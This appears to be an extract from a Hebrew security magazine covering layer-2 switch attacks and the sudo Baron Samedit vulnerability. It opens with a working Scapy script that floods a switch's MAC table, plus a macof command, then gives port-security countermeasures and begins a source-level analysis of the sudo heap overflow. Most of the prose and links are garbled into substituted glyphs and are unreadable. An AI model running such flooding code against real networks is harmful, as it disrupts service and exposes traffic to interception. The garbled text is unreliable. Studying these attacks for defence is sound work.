def  generate_packets ():  

    packet_list = []   #initializing packet_list to hold all the packets  

    for  i in  xrange ( 1, 10000 ):  

        packet  = Ether ( src = RandMAC(), dst = 

RandMAC())/ IP ( src =RandIP (), dst =RandIP ())  

        packet_list . append ( packet )  

    return  packet_list  

 

def  cam_overflow ( packet_list ):  

    sendp ( packet_list ,  iface ='eth0' )  

 

if  __name__ == '__main__' :  

    packet_list = generate_packets ()  

    cam_overflow ( packet_list )  

  :˶ˣ˵ˬ]ƘǘƳƭΦƛƴŘŜȄκƻǾŜǊŦƭƻǿψŎŀƳκŀǘǘŀŎƪǎψƴŜǘǿƻǊƪκǎŎŀǇȅ-ǿƛǘƘ-ŎǊŀŦǘƛƴƎ-ǇŀŎƪŜǘ-ƻŦ-ŀǊǘκƛƻΦƎƛǘƘǳōΦлȄōƘŀǊŀǘƘΥκκƘǘǘǇǎ[ 

  ˨ˣ˸˟ ˢˮ˟ˣˬˢ ˭˦˵ ˧˪˩˟ ˷ˬ˸˷ˢ˪ ˣ˞Yŀƭƛ    :˫˷˟ ˢˤ ˸˞ ˵ˣ˧ˡ˟ ˸ˣ˷˰˪ ˡ˰ˣˮ˷ƳŀŎƻŦ    ˵˪˥˩ ˰˧ˠˬ ˞ˣˢ)

  ˢ˪˧˟˥ˢˬ5ǎƴƛŦŦ    ˞˪ ˨˞ ˢˡˣ˟˰ˢ ˸˞ ˢ˷ˣ˰ ˧˪˩ˢ .(˸˶˥˞ ˢ˴˲ˢ ˪˰ ˣ˸ˣ˞ ˭˧˵˸ˢ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˫˸˞ ˫˞

ˠˬ ˞ˣˢ˷ ˭ˣˣ˧˩ˬ ˸˞ˤ ,˶˸ˣ˧˟ ˢ˪˧˰˧ˢ ˢ˶ˣ˴˟  ˸ˣ˟ˣ˸˩ ˪˧˶a!/    ˧˴˥˩˷ ˞˴ˣ˧ ˨˩ ˪˷˟ˣ ,˭˧˦ˣ˪˥˪ ˧˞˶˵˞ ˭˲ˣ˞˟

  ˸˟ˣ˸˩ ˞ˣˢ ˭ˢ˪˷ ˶ˣ˵ˬˢ˷ ˸ˣ˪˧˟˥) ˡˣˬ˪˪ ˪ˠˣ˯ˬ ˠ˸ˬˢ˷ ˸ˣ˪˧˟˥ ˭ˮ˧˞ ˥˪ˣ˷ ˞ˣˢ˷ ˸ˣ˪˧˟˥ˢˬa!/  

˷ˢ ˦˧˟-LκD  ˵ ˪ˣˡ ˢ˪˷    ˸˟ˣ˸˩˩ ˷ˬ˷˪ ˢ˪ˣ˩˧ ˞˪a!/    ˣ˸ˣ˞ ˫˧˴˧˶ˬ ˡ˟ˣ˰ ˭˧˧ˡ˰ ˞ˣˢ ,˸˞ˤ ˫˰ .(˸˥˪ˣ˷

 :˞˟ˢ ˭˲ˣ˞˟ 

ƳŀŎƻŦ -L ŜǘƘл 

 ˪  ˠˮ˧˲ ˢ˷˰ˮ ˡ˥˞ ˭ˣ˪˥˟-t/м    ˸˞ ˳˧˶ˮ ˧ˮ˷ˢ ˭ˣ˪˥˟ˣƳŀŎƻŦ  ˞˪ ˣˮ˥ˮ˞ ˢ˪˧˥˸˟ ,ˢ˶ˣ˷˩ ˡˣ˟˰˧ ˪˩ˢ ˫˞ .

ˬ ˢ˟ˣ˷˸ ˪˟˵˪ ˫˧˶ˣˬ˞-t/мˢ ˸ˣ˞˟ ˣ˸˧˞ ˫˧˞˴ˬˮ ˞˪ ˣˮ˥ˮ˞ ,˭˩˷ ,-±[!b  ˨˞ .  ˸˞ ˱˧˴ˢ˪ ˫˧˧˯ˮ˷ ˶˥˞˪

 s  ˸˪˟˦-/!a   ˪˷  ˪  ˣ˸ˣ˞ ˨ˣ˲ˢ˪ˣ ˠ˸ˬˢ-Iǳō -  :˸ˣ˟ˣ˷˸ ˪˟˵˪ ˪˧˥˸ˢ˪ ˫˧˶ˣˬ˞ ˣˮ˥ˮ˞ 

 

http://www.digitalwhisper.co.il/
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_attacks/cam_overflow/index.html
https://en.wikipedia.org/wiki/MAC_address#Address_details


 
 

 -     ±[!b IƻǇǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  оо 
 

 :ˣˡ˧˪˵˸ ˫˞ˣ 

ǎƘƻǿ ƳŀŎ ŀŘŘǊŜǎǎ-ǘŀōƭŜ ŘȅƴŀƳƛŎ 

  ˸ˣ˟ˣ˸˩ ˪˷ ˸˧˲ˣ˯ˮ˧˞ ˦˰ˬ˩ ˢˬ˧˷˶ ˸ˣ˞˶˪ ˫˧˶ˣˬ˞ ˫˸˞a!/  :ˡˬ˪ ˠ˸ˬˢ˷ 

 

 ˧"˰ ˣ˥˪˷ˮ˷ ˸ˣ˪˧˟˥ˢ ˪˷ ˶˴ˣ˸ ˣ˪˞ƳŀŎƻŦ . 

 :˭ˣˮˠ˧˯˟ ˸ˣ˞˧ˠ˷ ˦ˣ˪˲˧ ˠ˸ˬˢ ˢ˲˧˵˸ˢ ˨˪ˢˬ˟˷ ˡˣ˞ˬ ˶˧˟˯ ,˱˯ˣˮ˟ 

 

-saa!    ˪˷ ˶ˣ˴˧˵)aŜǘǊƛŎ aŜŘƛŀǘƛƻƴ !ƎŜƴǘ  ˥˸ˮ˪ˣ ˪˟˵˪ ˧˞˶˥˞˷ ˠ˸ˬˢ ˪˷ ˧ˤ˩˶ˬ ˧ˬ˧ˮ˲ ˟˧˩˶ ˞ˣˢ (

  ˧ˮˬ ˪˩ˬ ˸ˣ˞˵˧˦˯˧˦˦˯aŜǘǊƛŎ ǇǊƻǾƛŘŜǊǎ  ˢ ˪˰ ˰ˡ˧ˬ) ˠ˸ˬˢ ˪˰ ˫˧˞˴ˬˮ˷-{ǘŀŎƪ  ,  ˸ˣ˪˧˟˥ ˪˰ ˰ˡ˧ˬ

  .˰˧ˤˬ ˠ˸ˬˢ˷ ˸ˣ˞˶˪ ˶˷˲˞ ,('ˣ˩ˣ ˭ˢ˟ ˪ˣ˲˧˦ˣ 

http://www.digitalwhisper.co.il/


 
 

 -     ±[!b IƻǇǇƛƴƎ 
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 :˸˰ˡ˪ ˟ˣ˷˥˷ ˸ˣˡˣ˵ˮ / ˸ˣ˪˟ˠˬ 

¶  ˭˧˟ ˠ˪ˡ˪ ˶˷˲˞ ˧˞VLAN- .˫˧ˮˣ˷ ˫˧ˠ˸ˬ ˪˰ ˫˧˞˴ˬˮˢ ˫˧ 
 

¶   ˟˪ ˫˸ˬ˷˷ ˣˬ˩-    ˢ˥˦˟˞ ˸ˬ˶ ˫˰ ˸˷˶˟ ˶˟ˣˡˬˣ ˢˡ˧ˬ˟ .ˢˬ˧˪˞ ˡˣ˞ˬˣ ˸˷˰ˣ˶ ˢ˲˵˸ˬ˟ ˶˟ˣˡˬ

  ˯ˣ˪˲ ˢ˶˧˟˯-    ˟˪ ˫˧˷˪ ˞˪˷ ˢ˧ˢ˧ ˢ˷˵  ˭ˢˣ ˫˧˯ˬˣ˰ˢˬ ˦ˣ˪˲˧ ˠ˸ˬˢ˷ ˸ˣ˰ˡˣˢˢ ˸ˮ˧˥˟ˬ ˭ˢ .ˢ˧˪˞

 .˸˷˶˟ ˸˶˟ˣ˰˷ ˢ˶ˣ˟˰˸ˢ ˧ˮˣ˷ / ˢ˶ˣ˟˰˸ˢ ˸ˣˬ˩ ˸ˮ˧˥˟ˬ 

 

 :ˢ˲˵˸ˬˢ ˡˠˮ˩ ˸ˣˡˡˣˬ˸ˢ 

¶ ˢ ˸ˣ˟ˣ˸˩ ˸˞ ˭˟ˣˬ˩ ˶˧ˡˠˢ˪ ˞˧ˢ ˢˤ˩ ˢ˶˵ˬ ˫˰ ˡˡˣˬ˸ˢ˪ ˶˸ˣ˧˟ ˢ˟ˣ˦ˢ ˨˶ˡˢ-MAC    ˶˷˲ˣ˞ˬ ˭ˢ˪˷

˲˞ ˶˟ˡˢ ˫˧˸˶˷ˢ ˶ˡ˥ ˶ˣˤ˧˞˟˷ ˢ˞˶ˮ˩ ,˧ˤ˧˲ˢ ˦˶ˣ˲ˢ ˨˶ˡ ˶ˡ˷˪  ˫˧˷ˬ˸˷ˬˢ ˪˷ ˦ˮˬˠ˯˟ ˨˞ ,˧˶˷

 ˢ˶˵ˬ ˪˩˟ .˭˦˵ ˞˪ ˷˞˶ ˟˞˩ ˢ˧ˢ˧ ˢˤπ   :˸ˣ˶˷˲˞ˢ ˸˞ ˪ˣ˵˷˪ ˱˧ˡ˰ ,˫˧˦˦˯ ˸ˣˬˣ˵ˬ˟ 

{²мόŎƻƴŦƛƎ-ƛŦύІ ǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ ƳŀŎ-ŀŘŘǊŜǎǎ ŀŎмŘΦŎŀŦŜΦōпōо Ǿƭŀƴ ŀŎŎŜǎǎ 
 

 ˟  ˷ˬ˸˷ˢ˪ ˪ˣ˵˷˪ ˭˸˧ˮ ,˫˧˷ˬ˸˷ˬˢ ˦ˮˬˠ˯˟-Sticky MAC  π    ˢ˶ˡˠˢˢ ˸˞ ˨ˣ˯˥˪ ˶˷˲˞ˬ˷ ˶'˴˧˲

  ˸ˣ˟ˣ˸˩ ˪˷MAC  ˢ ˸˞ ˶ˣ˩ˤ˧ˣ ˡˬ˪˧ ˦˶ˣ˲ˢ :˦˵˲˞ˢ ˣ˸ˣ˞ ˸˞ ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˪˟˵˪ ˪˟˞ ˧ˮˡ˧ ˭˲ˣ˞˟-

MAC    ˫ˢ˷ ˫˧˦˶ˣ˲˟ ˵˶) ˦˶ˣ˲ˢ ˣ˸ˣ˞˟ ˶ˡ˧˷˷ ˭ˣ˷˞˶ˢaccess    .ˢ˧˴˶ˣˠ˧˲ˮˣ˵˪ ˣ˸ˣ˞ ˱˧˯ˣ˧ˣ (˭˟ˣˬ˩

 ˸ ˣˬˣ˵ / ˫˧˶ˡ˥ ˭˧˟ ˫˧˷ˬ˸˷ˬ ˪˷ ˢˤˣˤ˸ ˧ˡˬ ˶˸ˣ˧ ˭˧˞ ˶˷˞˩ ˪˧˰˧ ˶˟ˡˢ: 

{²мόŎƻƴŦƛƎ-ƛŦύІ ǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ ƳŀŎ-ŀŘŘǊŜǎǎ ǎǘƛŎƪȅ 

¶   ˧˦˶ˣ˲ ˠˣ˲ˮ˵ ˸˰˟access   ˟  ˷ˣˬ˧˷ ˣ˷˰-Port Security  ˸ˣ˰˴ˬ˞˟ :tƻǊǘ {ŜŎǳǊƛǘȅ    ˸˞ ˪˧˟ˠˢ˪ ˭˸˧ˮ

  ˠ˸ˬˢˢ ˸˟ˣ˸˩ ˸ˣˬ˩˟-MAC    ˸˞ ˶ˣ˟˰˧ ˠ˸ˬˢˣ ˢˡ˧ˬ˟ .ˡ˶˲ˮ˟ ˧ˤ˧˲ ˦˶ˣ˲ ˪˩ˬ ˡˣˬ˪˪ ˪ˣ˩˧ ˞ˣˢ˷

 s  ˸ˣ˟ˣ˸˩ ˸ˣˬ˩-MAC    ˞˪ ˦ˣ˷˲ ˦˧˪˥˧˷ ˣ˞ ˦˶ˣ˲ˢ ˸˞ ˢ˟˩˧˷ ˣ˸ˣ˞ ˠ˲ˮ˵˪ ˭˸˧ˮ ˦˶ˣ˲˪ ˢ˸˴˵ˣˢ˷

 ˢˤ˩˷ ˰ˣ˶˧˞ ˪˰ ˪˟˵˪ ˢ˴˶ˮ ˫˞ˢ ˶˧ˡˠˢ˪ ˭˸˧ˮ ,˸ˣ˷ˡ˥ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˡˬ˪˪SNMP Trap  .˞˪ ˣ˞ 
 

 ˡ˰ ˠˣ˲ˮ˵˪ ˞ˬˠˣˡн   ˸ˣ˟ˣ˸˩MAC  ˢˠ˧˶˥ ˸˰˴˟˸ˬˣ ˢˡ˧ˬ˟ˣ ˦˶ˣ˲ ˪˩ˬπ  :˦˶ˣ˲ˢ ˧ˣ˟˧˩ 

{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ ƳŀȄƛƳǳƳ н 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ Ǿƛƻƭŀǘƛƻƴ ǎƘǳǘŘƻǿƴ 

  ˣˠ˲ˮ˵port-security aging time    (˶˷˲˞ˢ ˸ˡ˧ˬ˟) ˨ˣˬˮ-    ˶˸ˣ˧ ˶ˢˬ "˥ˣ˩˷˪" ˠ˸ˬ˪ ˶˷˲˞ˬ ˶˟ˡˢ

  ˸ˣ˟ˣ˸˩MAC   s  ˸˪˟˦˟ ˫ˣ˵ˬ ˸ˣˮ˲˪ ˨˩ˣ ˭ˬˤ ˢ˟˶ˢ ˣ˶ˡ˧˷ ˞˪˷-CAM  ˥˩˷˧ ˠ˸ˬˢ˷ ˶˧ˡˠˢ˪ ˭˸˧ˮ .

 ˧ ˞ ˧˶˥˞ ˰ˣ˟˵ ˢˤ ˵˶˲ ˣ˞ ˰ˣ˟˵ ˭ˬˤ ˵˶˲ ˧˶˥˞ ˸˟ˣ˸˩ˢ ˸˞- :˞ˬˠˣˡ˪ .˦˶ˣ˲ˢ ˣ˸ˣ˞ˬ ˸ˣ˪˧˰˲ 

{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ ŀƎƛƴƎ ǘƛƳŜ мл 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǇƻǊǘ-ǎŜŎǳǊƛǘȅ ŀƎƛƴƎ ǘȅǇŜ ƛƴŀŎǘƛǾƛǘȅ 

¶   ˧˪ˣ˵ˣ˦ˣ˶˲ ˷ˣˬ˧ˬ ˞˧ˢ ˸˞ˤ˩˷ ˢ˲˵˸ˬ ˫˰ ˸ˣˡˡˣˬ˸ˢ˪ ˳˪ˬˣˬˣ ˱˯ˣˮ ˭ˣ˶˸˲PNAC  ˧˦˶ˡˮ˦˯)IEEE 

802.1x ˪˷˟ ˟˧˥˶ˮ ˞˪ ˫ˢ˧˪˰ ˨˞ ,(ˢ˪ˣ˰ˬˢ ˶ˬ˞ˬˢ   ˪˷ ˯ ˟˵˪˞ ˭˸ˮˣˢ˧  .˞˷ˣˮ˟ 

  

http://www.digitalwhisper.co.il/
https://www.digitalwhisper.co.il/files/Zines/0x7D/DW125-3-IEEE802.1x.pdf
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 ˫ ˣ˩˧˯ 

˪ ˸˷˶ˢ ˸˵ˣ˪˥-±[!b-  ˸˞ˤ ˫˰ ,ˣ˧˪˰ ˡ˧˲˵ˢ˪ ˟ˣ˦ˣ ˟ˣ˷˥ ˞˷ˣˮ ˢˤ ˫˧-    ˢˮˣ˩ˮ ˨˶ˡ ˷˧˷ ˭˧˟ˢ˪ ˟ˣ˷˥

  ˸˶˧˶˟ ˧˩˶˰ ˪˰ ˸ˣ˩ˬ˸˯ˢ ,˸˞ˤ ˸ˣ˷˰˪  ˪˰ ˶˟ˠ˸ˢ˪ ˱˵ˣ˸˪ ˣ˶˷˲˞˧ (˫˸˧˞˶˷ ˣˬ˩) ˫˧˶˵ˬˢ ˟˶˟ ˪ˡ˥ˬ

 .˸˟ˤˣ˩ ˢˮˠˢ ˸˷ˣ˥˸˪ ˫˩˪ ˫ˣ˶ˠ˪ˣ ˢ˪˞ ˫˧˪ˣ˷˩ˬ 

  ˸ˣ˲˵˸ˬ ˢ˷ˣ˪˷ ˧˸ˠ˴ˢ ˢˤ ˶ˬ˞ˬ˟±[!b IƻǇǇƛƴƎ    ˸ˣ˪˟ˠˬˢˬ ˵˪˥ ˱ˣ˵˰˪ ˭ˣ˧˯˧ˮ ˪˰˟ ˱˵ˣ˸˪ ˣ˶˷˲˞˧˷

ˢ˟ ˷ˬ˸˷ˢ˪ ˪ˣ˪˰ ˱˵ˣ˸ ˡ˴˧˩ˣ ˭ˢ˪˷ ˸ˣ˪˟ˠˬˢ ˢˬ ,˸ˣˡ˟ˣ˰ ˭ˢ ˡ˴˧˩ ˣˮ˧˞˶ ,˸˷˶˟ ˫˸˶ˡˠˢ˷  ˧ˡ˩ ˭

 s  ˸ˣ˲˵˸ˬ ˪˩ ˞˪ ˣ˪˞˷ ˸˰ˡ˪ ˟ˣ˷˥ .˫˩˪˷ ˸ˣ˸˷˶˟ ˸ˬ˧˧˵ˢ ˢ˥˦˟˞ˢ ˸˧˧˴˶ˣˠ˧˲ˮˣ˵ ˪˰ ˫˧˶˰ˢ˪-±[!b 

IƻǇǇƛƴƎ    ˨˩ˬ ˢ˶˸˧ˣ ,˸ˣˬ˧˧˵ˢ-  ˢ ˸ˣ˵˲˸ˬˬ ˡˣ˞ˬ ˫˴ˬˣ˴ˬ ˵˪˥ ˣ˪˞-[ŀȅŜǊн    ,˸ˣ˶˩ˣˬˢˣ ˸ˣˡ˰ˣ˸ˬˢ

˰˶ ˞˪ ˨˶ˡ) ˫˧˲˯ˣˮˣ ˢ˪˞˩ ˫˧˦˵˲˞ ˠ˧˷ˢ˪ ˧ˡ˩˟ ˪˧˰˲ˢ˪ ˪˩ˣ˧ ˱˵ˣ˸˷ ˸ˣ˲˯ˣˮ ˸ˣ˲˵˸ˬ ˸ˣˬ˧˧˵  ˞˧ˢ ˪˪˩ ˢ

  ˸ˣ˰˴ˬ˞˟ ˪˧˰˲ˢ˪ ˭˸˧ˮ˷ ˫˧ˬ˯˵ˢ ˸˞ ˶ˣ˵˯˪¸ŜǊǎƛƴƛŀ  ˭ˮˣˠ˸ˢ˪ ˭˸˧ˮ ˡ˴˧˩ˣ ˫˧ˡ˟ˣ˰ ˫ˢ ˡ˴˧˩ ˭˧˟ˢ˪ ,

 .(˭ˢ˧ˮ˲ˬ 

  ˧ˮ˞˷ ˣˬ˩ ˸ˣ˥˲˪ ˢ˞˧˶˵ˢˬ ˫˸˧ˮˢˮ˷ˣ ˢˤˢ ˵˸˶ˬˢ ˫ˣ˥˸ˢˬ ˢˬ˧˰˦ ˫˩˪ ˭˸ˮ ˶ˬ˞ˬˢ˷ ˢˣˣ˵ˬ ˧ˮ˞

 ˧˸˧ˮˢˮ .ˢ˟˧˸˩ˢˬ 

 

 

 ˸ ˲˯ˣˮ ˢ˞˧˶˵˪ ˫˧˶ˣ˷˧˵ˣ ˸ˣ˶ˣ˵ˬ ,˫˧˪˩ 

ƘǘǘǇǎΥκκƴƻǘǎƻǎŜŎǳǊŜΦŎƻƳκŜȄǇƭƻƛǘƛƴƎ-Ǿƭŀƴ-ŘƻǳōƭŜ-ǘŀƎƎƛƴƎ/ 

ƘǘǘǇǎΥκκǿǿǿΦŎŎŜȄǇŜǊǘΦǳǎκƳǳƭǘƛƭŀȅŜǊ-ǎǿƛǘŎƘŜŘκŀǘǘŀŎƪǎ-ƻƴ-ǎǿƛǘŎƘ-ŘŜǾƛŎŜǎΦƘǘƳƭ 

ƘǘǘǇǎΥκκǊƛǳƳŀΦǳƳŀΦŜǎκȄƳƭǳƛκōƛǘǎǘǊŜŀƳκƘŀƴŘƭŜκмлсолκмуфтрκDb{о-{ŜŎǳǊƛǘȅ-D¦L59ΦǇŘŦ 

ƘǘǘǇǎΥκκƎƛǘƘǳōΦŎƻƳκǘƻƳŀŎκȅŜǊǎƛƴƛŀ 

ƘǘǘǇǎΥκκŜƴΦǿƛƪƛǇŜŘƛŀΦƻǊƎκǿƛƪƛκ±[!bψƘƻǇǇƛƴƎ 

ƘǘǘǇǎΥκκǿǿǿΦōƭŀŎƪƘŀǘΦŎƻƳκǇǊŜǎŜƴǘŀǘƛƻƴǎκōƘ-ǳǎŀ-лнκōƘ-ǳǎ-лн-ŎƻƴǾŜǊȅ-ǎǿƛǘŎƘŜǎΦǇŘŦ 

ƘǘǘǇǎΥκκǇŀŎƪŜǘƭƛŦŜΦƴŜǘκōƭƻƎκнлмлκƳŀȅκоκǇƻǊǘ-ǎŜŎǳǊƛǘȅκ 

ƘǘǘǇΥκκǾƻƛǇƘƻǇǇŜǊΦǎƻǳǊŎŜŦƻǊƎŜΦƴŜǘκ 

 

http://www.digitalwhisper.co.il/
https://github.com/tomac/yersinia
https://notsosecure.com/exploiting-vlan-double-tagging/
https://notsosecure.com/exploiting-vlan-double-tagging/
https://notsosecure.com/exploiting-vlan-double-tagging/
https://www.ccexpert.us/multilayer-switched/attacks-on-switch-devices.html
https://riuma.uma.es/xmlui/bitstream/handle/10630/18975/GNS3-Security-GUIDE.pdf
https://github.com/tomac/yersinia
https://en.wikipedia.org/wiki/VLAN_hopping
https://www.blackhat.com/presentations/bh-usa-02/bh-us-02-convery-switches.pdf
https://packetlife.net/blog/2010/may/3/port-security/
http://voiphopper.sourceforge.net/
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 ˭ˣ˶˟ˢ ˪˷ ˣ˸ˬ˵ˮǎǳŘƻ  ˧ ˡ˞ˬ˯ 

˸˞ˬ  ˧ ˲˯˩ ˶ˬˣ˰ 

 

 s ˬˡ˵ˢ 

˶ ˞˪ ˣˮ˥ˮ˞ ˫˧˧˦˶ˡˮ˦˯ ˸ˣ˞˷˶ˢ ˧ˮˣˮˠˮˬ ˫˰ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪˰ˬ ˫˧ˡ˟ˣ˰ ˣˮ˥ˮ˞ ˶˷˞˩ˣ  ˫˧˴  ˡˣ˟˰˪ ˡ˧ˬ˸

 ,˪˟˵˪ ˪˩ˣˮ˷ ˸ˣˢˣ˟ˠ ˧˩ˢ ˸ˣ˞˷˶ˢˢ ˫˰    ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˫˰ ˸ˣ˰˦ ˰ˣ˴˧˟˟˷ ˵ˤˮˢ˷ ˢˡ˟ˣ˰ˢ ˪˷˟ ˸˞ˤ

 ˥˧ˮˮ) ˧˪˲ˣ˶˦˯˦˵ ˸ˣ˧ˢ˪ ˪ˣ˪˰- (˸ˣ˧˵˧˸ˢ ˳˰ ˪˪˩ ˪˷ ˢ˵˧˥ˬ ˣ˞ ,˸˥˞ ˢ˧˧˵˧˸ ˪˷ ˸˵˧˥ˬ . 

˨˩ ˶ˣ˞˪    ˧˶˞ˮ˧˟ˢ ˶˴ˣˮsudo  " ˪˷ ˶ˣ˴˧˵)superuser do  ("˸˧ˮˬˤ ˶˷˲˞ˬ ˶˷˞  ˣˬˢ ˫˧˷ˬ˸˷ˬ˪)  ˫˧˷˶

  ˫˧˞˶˵ˮ ˧˪˪˩ ˫˷˟ ˶˷˞˩ ˨˩˪sudoers  ˸ˣ˞˷˶ˢ˪ ˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣ˪˰ˢ˪ (root    ˢˡˣ˵˲ ˳˧˶ˢ˪ ˧ˡ˩

 .˸ˬ˧ˣ˯ˬ 

-˟26    ˸ˣ˯˯ˣ˟ˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬˣ ˯˵ˣˮ˧˪ˢ ˸˪˧ˢ˵ ˣ˷˰ˠ ˶˞ˣˮ˧˟UNIX    ˧ˣ˪˧ˠ ˸ˣ˟˵˰˟ ˫˪ˣ˰ˢ ˧˟˥˶˟

  ˧˶˞ˮ˧˟˟ ˢ˶ˣˬ˥ ˢ˴˶˲sudo ˩ˤ ˢ˷˪ˣ˥ˢ ,˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟˪ ˸˧ˮˬˤ ˸ˣ˞˷˶ˢ ˸˞˪˰ˢ ˶˷˲˞ˬ ˶˷˞  :˧ˣˮ˧˩˪ ˢ˸

"baron samedit"    ˫˰ ˫˧˪˧ˬ ˵˥˷ˬ ˢˤ˷Baron Samedi    (˧˦˧˞ˢ ˧ˮ˟ ˪˷ ˸ˡ˟ ˣˡˣˣˢ ˸ˣ˥ˣ˶ˬ ˡ˥˞ ˞ˣˢ˷)

 ˢˡˣ˵˲ˢˣsudoedit . 

˩ˮ˷ ˡˣ˵ ˶ˣˤ˧˞˟ ˸ˬ˧˧˵ ˢ˷˪ˣ˥ˢ ˩  ˧ˮ˲˪ ˯ˮ-10    ˫˧ˮ˷ˣ  ˸˞˪˰ˢ ˶˞˷ˢ ˭˧˟ ˸˶˷˲˞ˬˣ ˢ˟˥˶ ˢ˴˶˲ˢ ˸˰˲˷ˢ

 ˯ ˵ˣˮ˧˪ ˪˷ ˸ˣ˧ˤ˩˶ˬˢ ˸ˣ˴˲ˢˢ ˟ˣ˶˟ ˸ˬ˧˧˵ ˞˧ˢ ˧˩ ˰ˣˡ˧ ˰ˠ˶˩ .ˡˣ˵ ˸˴˶ˢˣ ˸ˣ˞˷˶ˢ  ,macOS ,solaris ,AIX  . 

  ˪˷˟ ˷˥˶˸ˬ ˣˬ˴˰ ˠ˞˟ˢheap overflow    ˪˷ ˶˵˥ˬˢ ˸ˣˣ˴ ˧"˰ ˢ˪ˠ˸ˢ ˞ˣˢ ,ˢˤ ˶ˬ˞ˬ˟ ˣ˧˪˰ ˶ˣ˟˰ˮˣ

  ˸˶˟˥Qualys˥˪˷ˮˣ ,  ˟ ˢ˵˧ˡ˟˪-13/01/2021  ˟ ˶˟˩ˣ-26/01/2021    ˪˷ ˫˧˧ˮ˩˦ˢ ˢ˧˦˶˲ˣ ,˭ˣ˵˧˸ ˫˯˶ˣ˲

  ˣˬ˯˶ˣ˲ ˢ˷˪ˣ˥ˢˢ˶˟˥ˢ ˠˣ˪˟˟ . 

 .˫˧˧ˮ˩˦ˢ ˢ˧˦˶˲ ˸˞ ˶ˣ˵˯ˮˣ ,ˡˣ˵ˢ ˵ˬˣ˰˪ ˪ˣ˪˴ˮ ˢˤ ˶ˬ˞ˬ˟ 

 
  

http://www.digitalwhisper.co.il/
https://en.wikipedia.org/wiki/Baron_Samedi
https://linux.die.net/man/8/sudoedit
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
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 s ˷˪ˣ˥ˢ 

  ˢˡˣ˵˲ˢ ˧˶ˣ˥˞ˬ ˭ˣˮˠˮˬˢsudo  ˟ ˸ˣ˞˷˶ˢ ˸˵˧ˡ˟ ˶˥˞˪˷ ˣˤ˩ ˢ˶ˣ˴˟ ˡ˟ˣ˰-/etc/sudoers   ˬ ˯˧˯ ˸˵˧ˡ˟ˣ  ˞

˷ˬ˸˷ˬˢ ˧"˰ ˢ˵˲ˣ˯˷˟ ˫˧˶˦ˬ˶˲˩ ˣ˪ ˣˮ˞˟ˢ˷ ˸ˣˡˣ˵˲ˢ ˸˞ ˳˧˶ˬ ˞ˣˢ , ˨ ˧˪ˢ˸    ˷ˬ˸˷ˬ ˞ˣˢ ˣ˟˷ ˷ˡ˥

-˟syscall    ˫˷˟setuid  ,˸˧ˮˬˤ ˳˶ ˧˶˞ˮ˧˟ˢ ˣ˟ ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˢˢˤˬˢ ˸˞ ˢˮ˷ˬ ˶˷˞   ˢˤ ˟ˣ˶˪

 ˪  ˧ˣˮ˧˷ ˢ˧ˢ˧-id   ˨˶˰ˢ ˫˰0  ˢ ˣˢˤ˷-id  ˪˷root . 

 ˪  ˫˧˞˶ˣ˵ ˶˷˞˩-sudo    ˢ˧˴˲ˣ˞ˢ ˫˰ ˞˧ˢ ˢ˞˧˶˵˪ ˸ˣ˧ˣ˶˷˲˞ˢ ˸˥˞"c-"    ˢˡˣ˵˲ˢ ˸˞ ˢ˴˧˶ˬ ˫˴˰˟˷

 ,˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ˟ ˶˦ˬ˶˲˩ ˢˮ˸˧ˮ˷    ˸˧˧˴˵ˮˣ˲main    ˪˷sudo    ˣˮ˪ ˸˧˦ˮˣˣ˪˶˷ ˢˮˣ˷˞˶ˢ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵

 ˞˧ˢ˷parse_args . 

 ˸˞ ˫˧˴˧˶ˬ ˫˞sudo  ˪ˠˡˢ ˫˰ ˱˯ˣˮ˟"i- "  ˪ˠˡˢ ˸˞ ˵˧˪ˡˬ ˶˷˞)MODE_SHELL ˣ˞ ("s-"    ˸˞ ˵˧˪ˡˬ ˶˷˞

  ˫˧˪ˠˡˢMODE_SHELL  x-MODE_LOGIN_SHELL  ˸˞ ˷ˡ˥ˬ ˸˟˸˩˷ˬ ˢ˧˴˵ˮˣ˲ˢ ˤ˞argv  ˷ ˨˩ ˧ˡ˧ ˪˰  ˞˧ˢ

  ˢ˷ˣ˰ˣ ˢˡˣ˵˲˪ ˣ˶˟˰ˣˢ˷ ˫˧˶˦ˬ˶˲ˢ ˪˩ ˸˞ ˸˶˟˥ˬescaping    ˸˲˯ˣˢ ˧ˡ˧ ˪˰backslash    ˫˧ˣˣ˸ˢ ˪˩ ˪˰

˫˧ˡ˥ˣ˧ˬˢ   ˢ˶ˣ˷)590(: 

571  if  ( ISSET( mode,  MODE_RUN)  && ISSET( flags ,  MODE_SHELL))  {  

572    char  ** av ,  * cmnd = NULL;  

573    int  ac = 1;  

...   

581    cmnd = dst = reallocarray ( NULL,  cmnd_size ,  2);  

...   

587    for  ( av = argv ;  * av !=  NULL;  av ++)  {  

